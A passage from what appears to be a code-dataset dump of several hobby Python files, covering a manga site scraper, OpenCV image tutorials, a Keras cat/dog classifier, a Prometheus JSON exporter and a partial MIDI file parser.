'https://zeroscans.com/comics/21941-taming-master',\n # 'https://zeroscans.com/comics/585998-the-undefeatable-swordsman']\n #\n # # Reaper Scans | Zero Scans\n # for link in url_list:\n # tasks_mp.append(asyncio.create_task(find_manga_reaperzero(link)))\n\n tasks_mp = []\n\n # Mangakakalot\n url_list = ['https://mangakakalot.com/read-lm7ib158504847850', 'https://mangakakalot.com/read-ox3yk158504833790',\n 'https://mangakakalot.com/read-zs6sp158504840280', 'https://mangakakalot.com/read-ul6pf158504868718',\n 'https://mangakakalot.com/read-ep8pm158504835723', 'https://mangakakalot.com/read-ro4rv158504853379',\n 'https://mangakakalot.com/read-ja7yn158504838124', 'https://mangakakalot.com/read-jc2wf158504842343',\n 'https://mangakakalot.com/read-rp1kv158504840628', 'https://mangakakalot.com/read-ie2ho158504839970',\n 'https://mangakakalot.com/read-wx1xd158504840874', 'https://mangakakalot.com/read-od1pe158504845657',\n 'https://mangakakalot.com/read-ol2fi158504849602', 'https://mangakakalot.com/manga/lo924793',\n 'https://mangakakalot.com/read-sz0gg158504854945', 'https://mangakakalot.com/read-dl7bc158504854888',\n 'https://mangakakalot.com/read-yv2vd158504858458', 'https://mangakakalot.com/read-fv5mg158504856152',\n 'https://mangakakalot.com/read-ts3gp158504833220', 'https://mangakakalot.com/read-ny9yj158504835342',\n 'https://mangakakalot.com/read-zg1oh158504842553', 'https://mangakakalot.com/read-vg0sa158504844980',\n 'https://mangakakalot.com/read-gj8eg158504836414', 'https://mangakakalot.com/read-of6id158504884374',\n 'https://mangakakalot.com/read-jb3vb158504854796', 'https://mangakakalot.com/read-jm4cz158504894339',\n 'https://mangakakalot.com/read-tv7mr158504845382', 'https://mangakakalot.com/read-cq3sf158504857171',\n 'https://mangakakalot.com/read-oe6uc158504836571', 'https://mangakakalot.com/read-mo5of158504931270',\n 'https://mangakakalot.com/read-kh6ab158504854282', 'https://mangakakalot.com/read-rc4ti158504848110',\n 'https://mangakakalot.com/read-iq9la158504835986', 'https://mangakakalot.com/manga/dy925897',\n 'https://mangakakalot.com/manga/xo924628', 'https://mangakakalot.com/manga/eo924794',\n 'https://mangakakalot.com/manga/yl923871', 'https://mangakakalot.com/manga/vi924713',\n 'https://mangakakalot.com/read-iw9rf158504883256', 'https://mangakakalot.com/read-bo1jc158504861718',\n 'https://mangakakalot.com/manga/py923734', 'https://mangakakalot.com/manga/ni924461',\n 'https://mangakakalot.com/manga/xl923012', 'https://mangakakalot.com/read-ts7tt158504943623',\n 'https://mangakakalot.com/manga/jv925863', 'https://mangakakalot.com/read-fq9iu158504944929',\n 'https://mangakakalot.com/manga/xv925862', 'https://mangakakalot.com/manga/cc925283',\n 'https://mangakakalot.com/manga/sw922557', 'https://mangakakalot.com/read-xf9fk158504906020',\n 'https://mangakakalot.com/read-nz2fb158504821825', 'https://mangakakalot.com/read-rl4cd158504850497',\n 'https://mangakakalot.com/manga/gi925311', 'https://mangakakalot.com/manga/vf922819',\n 'https://mangakakalot.com/manga/ks924647', 'https://mangakakalot.com/manga/ph925967',\n 'https://mangakakalot.com/manga/wb925651', 'https://mangakakalot.com/manga/yx924697']\n\n for link in url_list:\n tasks_mp.append(asyncio.create_task(find_manga_mangakakalot(link)))\n\n # Manganelo\n url_list = ['https://manganelo.com/manga/xn921310', 'https://manganelo.com/manga/huku267071576897767',\n 'https://manganelo.com/manga/read_boku_no_hero_academia_manga',\n 'https://manganelo.com/manga/read_one_punch_man_manga_online_free3',\n 'https://manganelo.com/manga/black_clover', 'https://manganelo.com/manga/uaxz925974686',\n 'https://manganelo.com/manga/dnha19771568647794', 'https://manganelo.com/manga/doulou_dalu_manga',\n 'https://manganelo.com/manga/pn918005', 'https://manganelo.com/manga/ad921253',\n 'https://manganelo.com/manga/wu_dong_qian_kun', 'https://manganelo.com/manga/jm923526',\n 'https://manganelo.com/manga/the_wrong_way_to_use_healing_magic',\n 'https://manganelo.com/manga/lv999_no_murabito', 'https://manganelo.com/manga/tn922327',\n 'https://manganelo.com/manga/ff919945', 'https://manganelo.com/manga/bl921472',\n 'https://manganelo.com/manga/legend_of_phoenix', 'https://manganelo.com/manga/spirit_sword_sovereign',\n 'https://manganelo.com/manga/mushoku_tensei_isekai_ittara_honki_dasu',\n 'https://manganelo.com/manga/the_legendary_moonlight_sculptor', 'https://manganelo.com/manga/tn921283',\n 'https://manganelo.com/manga/ijhr296321559609648', 'https://manganelo.com/manga/si923815',\n 'https://manganelo.com/manga/the_magic_chef_of_ice_and_fire', 'https://manganelo.com/manga/eg919734',\n 'https://manganelo.com/manga/bb922866', 'https://manganelo.com/manga/pe922745',\n 'https://manganelo.com/manga/yrlq217991556843654', 'https://manganelo.com/manga/aq920543',\n 'https://manganelo.com/manga/be922652', 'https://manganelo.com/manga/ra921707',\n 'https://manganelo.com/manga/ix921032', 'https://manganelo.com/manga/ir920623',\n 'https://manganelo.com/manga/fk918347', 'https://manganelo.com/manga/zu917722',\n 'https://manganelo.com/manga/sm917699', 'https://manganelo.com/manga/wo923110',\n 'https://manganelo.com/manga/rj922755', 'https://manganelo.com/manga/tv922828',\n 'https://manganelo.com/manga/pd924480', 'https://manganelo.com/manga/martial_peak',\n 'https://manganelo.com/manga/do918903', 'https://manganelo.com/manga/nidoume_no_jinsei_wo_isekai_de',\n 'https://manganelo.com/manga/ku920038', 'https://manganelo.com/manga/mq918999',\n 'https://manganelo.com/manga/lj919175', 'https://manganelo.com/manga/dr_frost',\n 'https://manganelo.com/manga/gz922893', 'https://manganelo.com/manga/shikkaku_mon_no_saikyou_kenja',\n 'https://manganelo.com/manga/the_other_world_doesnt_stand_a_chance_against_the_power_of_instant_death',\n 'https://manganelo.com/manga/tensei_kenja_no_isekai_raifu_daini_no_shokugyo_wo_ete_sekai_saikyou_ni_narimashita',\n 'https://manganelo.com/manga/ec925329', 'https://manganelo.com/manga/read_doupo_cangqiong_manga',\n 'https://manganelo.com/manga/pg920736', 'https://manganelo.com/manga/the_great_ruler',\n 'https://manganelo.com/manga/rx922672', 'https://manganelo.com/manga/vrin278571580265812',\n 'https://manganelo.com/manga/apotheosis', 'https://manganelo.com/manga/kk921357',\n 'https://manganelo.com/manga/hyer5231574354229', 'https://manganelo.com/manga/sw923218',\n 'https://manganelo.com/manga/rx919523', 'https://manganelo.com/manga/uw924618',\n 'https://manganelo.com/manga/dz919342', 'https://manganelo.com/manga/pe922986',\n 'https://manganelo.com/manga/pb925700', 'https://manganelo.com/manga/zm924455',\n 'https://manganelo.com/manga/yong_heng_zhi_zun', 'https://manganelo.com/manga/kg923596',\n 'https://manganelo.com/manga/jx925356', 'https://manganelo.com/manga/jf921342',\n 'https://manganelo.com/manga/lg924896', 'https://manganelo.com/manga/fe922634',\n 'https://manganelo.com/manga/qp925636', 'https://manganelo.com/manga/dq922693',\n 'https://manganelo.com/manga/rm922554', 'https://manganelo.com/manga/go922760',\n 'https://manganelo.com/manga/ph925080', 'https://manganelo.com/manga/kj923068',\n 'https://manganelo.com/manga/rf925407', 'https://manganelo.com/manga/jb924592',\n 'https://manganelo.com/manga/iu923224', 'https://manganelo.com/manga/ks924647']\n\n for link in url_list:\n tasks_mp.append(asyncio.create_task(find_manga_manganelo(link)))\n\n await asyncio.gather(*tasks_mp)\n\n\n# Main core of the loop to make the program run every x mins\nif __name__ == \"__main__\":\n while True:\n document_count = 1\n\n try:\n # Creating a File Log System\n current_time = str(datetime.datetime.now())\n output_console = \"[\" + current_time + \"] \" + \"Starting the search for mangas!\\n\"\n log = open(\"log.txt\", \"a\")\n log.write(output_console)\n log.close()\n\n asyncio.run(main_manga())\n # print(lst_not_read_dicts)\n\n current_time = str(datetime.datetime.now())\n output_console = \"[\" + str(current_time) + \"] \" + str(lst_not_read_dicts) + \"\\n\"\n log = open(\"log.txt\", \"a\")\n log.write(output_console)\n log.close()\n\n clear_and_update_database()\n except Exception as ex:\n exception_type, exception_object, exception_traceback = sys.exc_info()\n line_no = exception_traceback.tb_lineno\n # Adding (an) exception(s) on the log file\n current_time = str(datetime.datetime.now())\n output_console = \"[\" + current_time + \"] \" + \"Exception has occured: \" + str(line_no) + \" - \" + str(\n ex.args) + \" !\\n\"\n\n log = open(\"log.txt\", \"a\")\n log.write(output_console)\n log.close()\n\n # time.sleep(5 * 60)\n finally:\n # Clears the list for next iteration\n lst_not_read_dicts = []\n\n # Make the app sleep for x mins before restarting\n time.sleep(10 * 60)\n\n # Adding when the sleep timer is over\n current_time = str(datetime.datetime.now())\n output_console = \"[\" + current_time + \"] \" + \"Restarting the loop!\\n\"\n\n log = open(\"log.txt\", \"a\")\n log.write(output_console)\n log.close()\n\n# Bugs:\n# ZeroScans has some problem with the pictures\n# ReaperScans has a method to avoid the bot\n# ManhuaPlus needs JS loading which causes my instance to crash\n#######################################################\n# Learning #\n#######################################################\n# MongoDB stuff:\n# import pymongo\n\n# client = pymongo.MongoClient(\"connection_url\")\n\n# db = client.get_database('manga_app')\n\n# table = db.get_collection(\"manga_app_records\")\n# collection -> table\n# document -> rows\n\n# table.delete_many({})\n\n# print(table.count_documents({}))\n\n# insert a document i.e row insert_one() or insert_many()\n\n# new_row = {\n# 'record_id': 3,\n# 'manga_name': 'dummy name',\n# 'manga_chapters': ['c1', 'c2'],\n# 'img_link_bg': 'dummy_link',\n# 'chapter_links': ['link1', 'link2']\n# }\n\n# table.insert_one(new_row)\n\n\n# find a document, find() -> returns an iterator, find_one({'keyword': search})\n# print(list(table.find({})))\n\n# update, update_one(filter_dict, {'$set': new_dict}) or update_many\n\n# delete, delete_one(filter_dict) or delete_many(filter_dict)\n# print(list(table.find({'manga_name': 'dummy name'})))\n# table.delete_many({'manga_name': 'dummy name'})\n", "id": "2352691", "language": "Python", "matching_score": 1.3937400579452515, "max_stars_count": 2, "path": "web-scraper/database_update.py" }, { "content": "import numpy as np\nimport cv2\nimport os\nimport random\nimport matplotlib.pyplot as plt\nimport pickle\nimport csv\nimport tensorflow as tf\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense\nfrom sklearn.model_selection import train_test_split\n\nTRAIN_DIR = r'D:\\Documents\\GitHub\\opencv-computer-vision\\code\\dataset_cd\\train'\nTEST_DIR = r'D:\\Documents\\GitHub\\opencv-computer-vision\\code\\dataset_cd\\test1'\nCATEGORIES = ['cat', 'dog']\nIMG_SIZE = 100\n\ntrain_data = []\nval_data = []\n\nif 'model.h5' not in os.listdir():\n if 'train.csv' in os.listdir():\n print(\"Loading files\")\n reader = csv.reader('train.csv', delimiter=\" \")\n train_data = [row for row in reader]\n val_data = open('test.csv', 'r').read()\n print(\"Done loading\")\n else:\n for file in os.listdir(TRAIN_DIR):\n category = file.split('.')[0]\n img_path = os.path.join(TRAIN_DIR, file)\n img = cv2.imread(img_path)\n img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n print(\"1. reading: {}\".format(img_path))\n train_data.append([img, CATEGORIES.index(category)])\n\n random.shuffle(train_data)\n\n train_X = []\n train_y = []\n\n for features, labels in train_data:\n train_X.append(features)\n train_y.append(labels)\n\n X, test_X, y, test_y = train_test_split(train_X, train_y, test_size=0.1, random_state=1)\n\n X = np.array(X)\n y = np.array(y)\n test_X = np.array(test_X)\n test_y = np.array(test_y)\n\n X = X / 255\n\n model = Sequential()\n\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n\n model.add(Conv2D(128, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n\n model.add(Flatten())\n model.add(Dense(128, input_shape=(IMG_SIZE, IMG_SIZE, 3), activation='relu'))\n\n model.add(Dense(2, activation='softmax'))\n\n model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n\n model.fit(X, y, epochs=30, batch_size=64)\n\n loss, acc = model.evaluate(test_X, test_y)\n print(f\"Accuracy: {acc*100:.2f}%\")\n\n # model.save('model.h5')\n# else:\n# model = tf.keras.models.load_model('model.h5')\n#\n# for file in os.listdir(TEST_DIR):\n# img_path = os.path.join(TEST_DIR, file)\n# img = cv2.imread(img_path)\n# img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n# print(f\"2. reading: {img_path}\")\n#\n# val_data.append(img)\n#\n# val_data = np.array(val_data)\n# val_data = val_data / 255\n#\n# val_y = model.predict_classes(val_data, verbose=1)\n#\n# for i, file in enumerate(os.listdir(TEST_DIR)):\n# res = \"\"\n# if val_y[i]:\n# res = 'dog'\n# else:\n# res = 'cat'\n# print(f\"File:{file} prediction:{res}\")\n", "id": "8142383", "language": "Python", "matching_score": 0.2664850652217865, "max_stars_count": 0, "path": "code/cat_or_dog/catOrDog.py" }, { "content": "import cv2 as cv\nimport dlib\nfrom imutils import face_utils\n\n# Connects the the camera which is the 0th camera accessible to the computer | instead of 0 put path to video\nvideo_capture = cv.VideoCapture(0)\n\n\n# Checks if the camera can be opened or not\nif not video_capture.isOpened():\n print(\"Camera cannot be opened!\")\n exit()\n\nwhile True:\n ret, frame = video_capture.read()\n # ret is a boolean which tells if the frame is read correctly or not\n\n if not ret:\n print(\"Cannot read frame, exiting!\")\n break\n\n gray_frame = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n\n face_detect = dlib.get_frontal_face_detector()\n rects = face_detect(gray_frame, 1)\n for rect in rects:\n (x, y, w, h) = face_utils.rect_to_bb(rect)\n cv.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 255), 3)\n cv.imshow(\"Face detection!\", frame)\n\n if cv.waitKey(1) == ord('q'):\n break\n\n\nvideo_capture.release()\ncv.destroyAllWindows()", "id": "3425830", "language": "Python", "matching_score": 1.2580757141113281, "max_stars_count": 0, "path": "code/face_detection/face_detection.py" }, { "content": "import imutils\nimport cv2\n\nimage = cv2.imread(\"tetrominoes.png\")\n# cv2.imshow(\"Image Before\", image)\n# cv2.waitKey(0)\n\ngray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ncv2.imshow(\"Image After\", gray_image)\ncv2.waitKey(0)\n\n# mess around w the minVal and maxVal\n# edged_image = cv2.Canny(gray_image, 30, 150)\n# cv2.imshow(\"Edged Image\", edged_image)\n# cv2.waitKey(0)\n\n# (img, thresh, maxVal, type)\n# THRESH_BINARY if pixel color is > thresh ? maxVal : 0\n# THRESH_BINARY_INV if pixel color is > thresh ? 0 : maxVal\nthresh_image = cv2.threshold(gray_image, 250, 255, cv2.THRESH_BINARY_INV)[1]\ncv2.imshow(\"Thresh\", thresh_image)\ncv2.waitKey(0)\n\n# threshold image, hierarchy type, type of storing contours (boundary points)\n# cv2.RETR_LIST draws contours for both internal and external objects\n# RETR_EXTERNAL draws contours for external objects\n\n# findContours searches for white pixels in the foreground\n# cnts = cv2.findContours(thresh_image.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n# print(len(cnts))\n# cnts = imutils.grab_contours(cnts)\n# print(len(cnts))\n#\n# output = image.copy()\n#\n# for c in cnts:\n# cv2.drawContours(output, [c], -1, (240, 0, 159), 3)\n# cv2.imshow(\"Contours\", output)\n# cv2.waitKey(0)\n\n# Reduces size around the objects\nmask = thresh_image.copy()\nmask = cv2.erode(mask, None, iterations=5)\ncv2.imshow(\"MASK\", mask)\ncv2.waitKey(0)\n\ndilate = thresh_image.copy()\ndilate = cv2.dilate(dilate, None, iterations=1)\ncv2.imshow(\"Dilate\", dilate)\ncv2.waitKey(0)\n\nmask = thresh_image.copy()\noutput = cv2.bitwise_and(image, image, mask=mask)\ncv2.imshow(\"Mask\", output)\ncv2.waitKey()\n\n# LEARNING\n# Convert colored picture to grayscale picture using cv2.cvtColor\n# We can edge the picture using cv2.Canny\n# We can find the threshold of the picture (basically make objects a different color from background) yusing cv2.thresh\n# We can apply contours with the help of the grayscale picture cv2.findContours and imutils.grap_contours and cv2.drawContours\n", "id": "10534268", "language": "Python", "matching_score": 5.114943504333496, "max_stars_count": 0, "path": "code/tuts/tut2.py" }, { "content": "import cv2\nimport imutils\n\n# Read the Image\nimage = cv2.imread('shapes.jpg')\n\n# Convert the image to grayscale\ngray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# Find the threshold\n# thresh_image = cv2.threshold(gray_image, 243, 255, cv2.THRESH_BINARY_INV)[1]\n\n# Using Canny Detection\ncanny = cv2.Canny(gray_image, 160, 180)\ncanny_dilated = cv2.dilate(canny, (11,11), iterations=2)\n\ncv2.imshow(\"Canny\", canny_dilated)\ncv2.waitKey(0)\n\n# Remove any noise if present\n# no_noise_image = thresh_image.copy()\n#\n# no_noise_image = cv2.erode(no_noise_image, None, iterations=1)\n# cv2.imshow(\"Clean\", no_noise_image)\n# cv2.waitKey(0)\n\n# Use the threshold to find the contours\ncnts = cv2.findContours(canny_dilated.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\ncnts = imutils.grab_contours(cnts)\n\nprint(f'There are {len(cnts)} shapes')\n\n# Draw the contours\noutput = image.copy()\n\nfor c in cnts:\n cv2.drawContours(output, [c], -1, (0, 0, 255), 3)\n cv2.imshow(\"Outline!\", output)\n\ncv2.waitKey(0)", "id": "1233705", "language": "Python", "matching_score": 1.5671038627624512, "max_stars_count": 0, "path": "code/detect_all_shapes/shapes.py" }, { "content": "import cv2 as cv\n\nmain_image = cv.imread('cup.jpg', cv.IMREAD_GRAYSCALE)\nmain_image = cv.resize(main_image, (0, 0), fx=0.25, fy=0.25)\nblur_image = cv.GaussianBlur(main_image, (15,15), 25)\ncanny_image = cv.Canny(blur_image, 25, 35)\n\ncv.imshow(\"Main\", blur_image)\ncv.imshow(\"Canny\", canny_image)\n\ncv.waitKey(0)\n", "id": "7602619", "language": "Python", "matching_score": 2.0570788383483887, "max_stars_count": 0, "path": "code/detect_all_shapes/cup.py" }, { "content": "import imutils\nimport cv2\n\nimage = cv2.imread(\"byoda.jpeg\")\n# image is a numpy array and thats why we get height before width since we need rows and cols\n(h, w, d) = image.shape\nprint(f\"w={w}, h= {h}, d={d}\")\n\n# h = no. of rows, w = no. of cols d = no. of channels (d=3 -> rgb, d=4 -> rgba)\n# x, y (axis) -> w, h = no. of cols, no. of rows\n\n(b, g, r) = image[100, 50] # image[y, x] or image[row, col]\n\n\nprint(f\"{b} {g} {r}\")\n\n# Printing a 100x100 ROI (region of interest) starting from the middle of the picture\nmw = w // 2\nmh = h // 2\n\nroi = image[mh:mh + 100, mw:mw + 100] # image[startY:endY, startX:endX]\n\n# cv2.imshow(\"Image\", image)\n# cv2.waitKey(0)\n\n# cv2.imshow(\"ROI\", roi)\n# cv2.waitKey(0)\n\n# resized_image = cv2.resize(image, (200, 300)) # (x, y)\n# resizing an image and keeping the aspect ratio\n# aspect_ratio = 300 / w\n# new_height = int(aspect_ratio * h)\n#\n# resized_image = imutils.resize(image, width=300)\n\n# cv2.imshow(\"Resized\", resized_image)\n# cv2.waitKey(0)\n\n# Rotate an image 45 deg clockwise\n\n# rotated_image = imutils.rotate_bound(image, 45)\n#\n# cv2.imshow(\"Rotated image\", rotated_image)\n# cv2.waitKey(0)\n\n# blurred_image = cv2.GaussianBlur(image, (11, 11), 10)\n#\n# cv2.imshow(\"Blur3rr\", blurred_image)\n# cv2.waitKey(0)\n#\n# blurred_image = cv2.GaussianBlur(image, (11, 11), 20)\n#\n# cv2.imshow(\"Blurrr\", blurred_image)\n# cv2.waitKey(0)\n\n# ORIGIN IS TO_LEFT\n\nimage_copy = image.copy()\n# (x,y) top-left, bottom, right, BGR tuple, thickness\ncv2.rectangle(image_copy, (320, 60), (420, 160), (0, 0, 255), 2)\ncv2.putText(image_copy, \"Hello World!\", (320, 60), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 255), 1)\n\ncv2.imshow(\"RECT\", image_copy)\ncv2.waitKey(0)\n", "id": "7648240", "language": "Python", "matching_score": 1.9316825866699219, "max_stars_count": 0, "path": "code/tuts/tut1.py" } ]
1.567104
achivukula
[ { "content": "import os\nfrom flask import Flask, request, Response\nimport prometheus_client\nimport random\nfrom random import randrange\n\napp = Flask(__name__)\n\n# metrics collector for porometheus client\n@app.route('/metrics/')\ndef metrics():\n return Response(prometheus_client.generate_latest(), mimetype=CONTENT_TYPE_LATEST)\n\n\n# random API endpoint for generating metrics\n@app.route(\"/generate_metrics\", methods=['POST'])\ndef generate_random_values():\n if request.method == 'POST':\n output = str(random.random())\n print output\n return (output)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=2345, debug=True, threaded=True)\n \n", "id": "11437604", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "projects/prometheus/json_exporter/app.py" }, { "content": "from prometheus_client import start_http_server, Metric, REGISTRY\nimport json\nimport requests\nimport sys\nimport time\n\nclass JsonCollector(object):\n def __init__(self, endpoint):\n self._endpoint = endpoint\n def collect(self):\n # Fetch the JSON\n response = json.loads(requests.get(self._endpoint).content.decode('UTF-8'))\n # Metrics with labels for the documents loaded\n metric = Metric('svc_fps', 'Requests failed', 'gauge')\n metric.add_sample('svc_fps',value=response, labels={})\n yield metric\n\nif __name__ == '__main__':\n # Usage: json_exporter.py port endpoint\n start_http_server(1241)\n REGISTRY.register(JsonCollector(sys.argv[1]))\n\n while True: time.sleep(1)\n", "id": "1210258", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "projects/prometheus/json_exporter/json_exporter.py" } ]
0
ms374-HW
[ { "content": "from enum import Enum\nimport os\n\"\"\"\n This is a simple parser for a MIDI file that outputs a human readable text file of the instruction in the file\n It is an adaptation of the parser created by Javidx9 (OneLoneCoder), hence the credit of the logic of this parser is completely for him\n You can read the source code for their parser, written in C++ at https://github.com/OneLoneCoder/olcPixelGameEngine/blob/master/Videos/OneLoneCoder_PGE_MIDI.cpp\n It will be helpful for further explanation, and to compare how both languages compare when parsing\n If you want more information on the MIDI file format and OneLoneCoder's code, I recommend watching https://www.youtube.com/watch?v=040BKtnDdg0\n It includes their detailed explanations for the source code and the basis of the logic\n\n For a breakdown of the MIDI file components, i.e. the instructions, I recommend the reading http://personal.kent.edu/~sbirch/Music_Production/MP-II/MIDI/midi_file_format.htm#midi_event\n It includes an extensive list of voice messages, mode messages as well as system instructions\n\n This parser essentially identifies 3 main features in a MIDI file:\n - The Tracks in a file\n - The events in a track\n - The notes used by a track\n These are all identified as classes, and objects of these classes will be used to create the structure of the MIDI file as we parse\n\"\"\"\n\n\n# This recognises the events in a MIDI track\n# The type of events inclde: playing a note, stopping a note, or another system executive instruction\nclass MIDIEvent:\n\n # defining an enumeration on the type of MIDI events\n class Type(Enum):\n noteOFF = 0\n noteON = 1\n other = 2\n\n # A MIDI event has the following features\n # Type = The type of event (from the above enumeration)\n # Key = The note being played\n # velocity = the speed of the note in the track\n # deltaTick = the time difference between this and the previous event\n def __init__(self, note, noteID=0, vel=0, delta=0):\n self.type = note\n self.key = noteID\n self.velocity = vel\n self.deltaTick = delta\n\n def __repr__(self):\n return (\"\\nEvent Type: \" + str(self.type) + \" Key: \" + str(self.key) +\n \" Velocity: \" + str(self.velocity) + \" delta tick: \" +\n str(self.deltaTick))\n\n\n# recognises a note in a track in the MIDI file\n# the features of the note is identified by noting when a note On and note Off event arrive\nclass MIDINote:\n # a note in MIDI has the following features\n # key = The note\n # velocity = the speed of the note\n # startTime = when the note begins\n # duration = how long the note is played for\n def __init__(self, k, vel, start, dur):\n self.key = k\n self.velocity = vel\n self.startTime = start\n self.duration = dur\n\n def __repr__(self):\n return (\"\\n\\t Key: \" + str(self.key) + \" Velocity: \" +\n str(self.velocity) + \"start time: \" + str(self.startTime) +\n \" duration: \" + str(self.duration))\n\n\n# recognises a track in the MIDI file\n# a track has a minimum and maximum note, which is initialised is 64 as a base value\nclass MIDITrack:\n maxNote = 64\n minNote = 64\n\n # The features in a note are as follows:\n # name = a name given to a track, if any\n # instrument = an instrument specified for a track, if any\n # events = the list of events in the note\n # notes = the list of notes and the duration\n def __init__(self):\n self.name = \"\"\n self.instrument = \"\"\n self.events = []\n self.notes = []\n\n def __repr__(self):\n temp = ((\"\\nTrack Name: \" + str(self.name)) +\n (\"\\nTrack Instrument: \" + str(self.instrument)) +\n (\"\\nTrack Events:\"))\n for eve in self.events:\n temp = temp + repr(eve)\n temp = temp + (\"\\nTrack Notes:\")\n for n in self.notes:\n temp = temp + repr(n)\n return temp\n\n def setName(self, name):\n self.name = name\n\n def setInstrument(self, inst):\n self.instrument = inst\n\n def setEvents(self, eve):\n self.events = eve\n\n\n# the MIDI file class\nclass MIDIFile:\n\n # The following dictionaries are used to identify specific MIDI event and meta instructions\n # for more information on these events, visit: http://personal.kent.edu/~sbirch/Music_Production/MP-II/MIDI/midi_file_format.htm#midi_event\n EventName = {\n \"VoiceNoteOff\": 0x80,\n \"VoiceNoteOn\": 0x90,\n \"VoiceAftertouch\": 0xA0,\n \"VoiceControlChange\": 0xB0,\n \"VoiceProgramChange\": 0xC0,\n \"VoiceChannelPressure\": 0xD0,\n \"VoicePitchBend\": 0xE0,\n \"SystemExclusive\": 0xF0,\n }\n\n MetaEventName = {\n \"MetaSequence\": 0x00,\n \"MetaText\": 0x01,\n \"MetaCopyright\": 0x02,\n \"MetaTrackName\": 0x03,\n \"MetaInstrumentName\": 0x04,\n \"MetaLyrics\": 0x05,\n \"MetaMarker\": 0x06,\n \"MetaCuePoint\": 0x07,\n \"MetaChannelPrefix\": 0x20,\n \"MetaPort\": 0x21,\n \"MetaEndOfTrack\": 0x2F,\n \"MetaSetTempo\": 0x51,\n \"MetaSMPTEOffset\": 0x54,\n \"MetaTimeSignature\": 0x58,\n \"MetaKeySignature\": 0x59,\n \"MetaSequencerSpecific\": 0x7F,\n }\n\n # this includes the tracks and the tempo and BPM of the file\n tracks = []\n tempo = 0\n bpm = 0\n temp = \"\"\n\n def __init__(self, filename):\n MIDIFile.parseFile(filename)\n\n # A function that parses the file\n def parseFile(filename):\n # MIDI files are a sequence of bytes\n with open(filename, \"rb\") as f:\n\n # read a string of given size\n readString = lambda n: str(f.read(n))\n\n # reading an integer (value)\n # MIDI values are between the ranges 0-127\n # this means they only use 7 bits of the byte, but for values > 127\n # the MSB (left most bit) is set to 1, and we continue reading the next byte until the MSB = 0\n def readValue():\n # read the first byte\n num = f.read(1)\n nByte = 0\n\n nValue = int.from_bytes(num, \"big\")\n # check if MSB = 1\n if nValue & 0x80:\n # get the last 7 LSBs\n nValue = nValue & 0x7F\n # read the next byte\n num = f.read(1)\n nByte = int.from_bytes(num, \"big\")\n # add the next 7 bits of the next byte, shifting the first 7 bits to the left\n nValue = (nValue << 7) | (nByte & 0x7F)\n while nByte & 0x80:\n # read the next byte\n num = f.read(1)\n nByte = int.from_bytes(num, \"big\")\n # add the next 7 bits of the next byte, shifting the first 7 bits to the left\n nValue = (nValue << 7) | (nByte & 0x7F)\n return nValue\n\n # read File information\n fileID = f.read(4)\n headerLength = int.from_bytes(f.read(4), \"big\")\n nFormat = int.from_bytes(f.read(2), \"big\")\n trackChunks = int.from_bytes(f.read(2), \"big\")\n division = int.from_bytes(f.read(2), \"big\")\n\n # add to the temp\n MIDIFile.temp = (\"\\nFile ID: \" + str(fileID) + \" header length: \" +\n str(headerLength) + \" format: \" + str(nFormat) +\n \" Number of Tracks: \" + str(trackChunks) +\n \" number of divisions: \" + str(division))\n\n # print(fileID)\n # print(headerLength)\n # print(nFormat)\n # print(trackChunks)\n # print(division)\n\n # parsing every track\n for chunk in range(trackChunks):\n endTrack = False\n wallTime = 0\n previousState = 0\n events = []\n\n # creating an track object for the file\n MIDIFile.tracks.append(MIDITrack())\n\n # reading the ID and length of the track\n trackID = f.read(4)\n trackLength = int.from_bytes(f.read(4), \"big\")\n\n MIDIFile.temp = (MIDIFile.temp +\n (\"\\n-------- NEW TRACK --------\") +\n \"\\nTrack ID: \" + str(trackID) +\n \"\\nTrack Length: \" + str(trackLength) + \"\\n\")\n\n print(\"\\n-------- NEW TRACK --------\")\n # loop till the end of the track\n while not endTrack:\n # the time difference between last note and current note is the delta\n statusTimeDelta = readValue()\n\n # the data can begin with an ID or instruction, to check which one it is, we check the status\n num = f.read(1)\n status = int.from_bytes(num, \"big\")\n\n # if it begins with an instruction\n if status < 0x80:\n # set the previous status as the current status\n status = previousState\n # since we read the instruction byte, we need to bring it back on the stream so we can sync the values\n f.seek(-1, os.SEEK_CUR)\n\n # parse to read the instruction and identify it\n if (status & 0xF0) == MIDIFile.EventName[\"VoiceNoteOff\"]:\n previousState = status\n\n channel = status & 0x0F\n noteID = f.read(1)\n noteVelocity = f.read(1)\n\n events.append(\n MIDIEvent(\n MIDIEvent.Type.noteOFF,\n noteID,\n noteVelocity,\n statusTimeDelta,\n ))\n elif (status & 0xF0) == MIDIFile.EventName[\"VoiceNoteOn\"]:\n previousState = status\n\n channel = status & 0x0F\n noteID = f.read(1)\n num = f.read(1)\n noteVelocity = int.from_bytes(num, \"big\")\n\n # if the veloctiy is 0, that means the note isnt being played\n if noteVelocity == 0:\n events.append(\n MIDIEvent(\n MIDIEvent.Type.noteOFF,\n noteID,\n noteVelocity,\n statusTimeDelta,\n ))\n else:\n events.append(\n MIDIEvent(\n MIDIEvent.Type.noteON,\n noteID,\n noteVelocity,\n statusTimeDelta,\n ))\n\n elif (status\n & 0xF0) == MIDIFile.EventName[\"VoiceAftertouch\"]:\n previousState = status\n\n key = status & 0x0F\n keyPressure = f.read(1)\n events.append(MIDIEvent(MIDIEvent.Type.other))\n\n elif (status\n & 0xF0) == MIDIFile.EventName[\"VoiceControlChange\"]:\n previousState = status\n\n channel = status & 0x0F\n controlID = f.read(1)\n controlValue = f.read(1)\n events.append(MIDIEvent(MIDIEvent.Type.other))\n\n 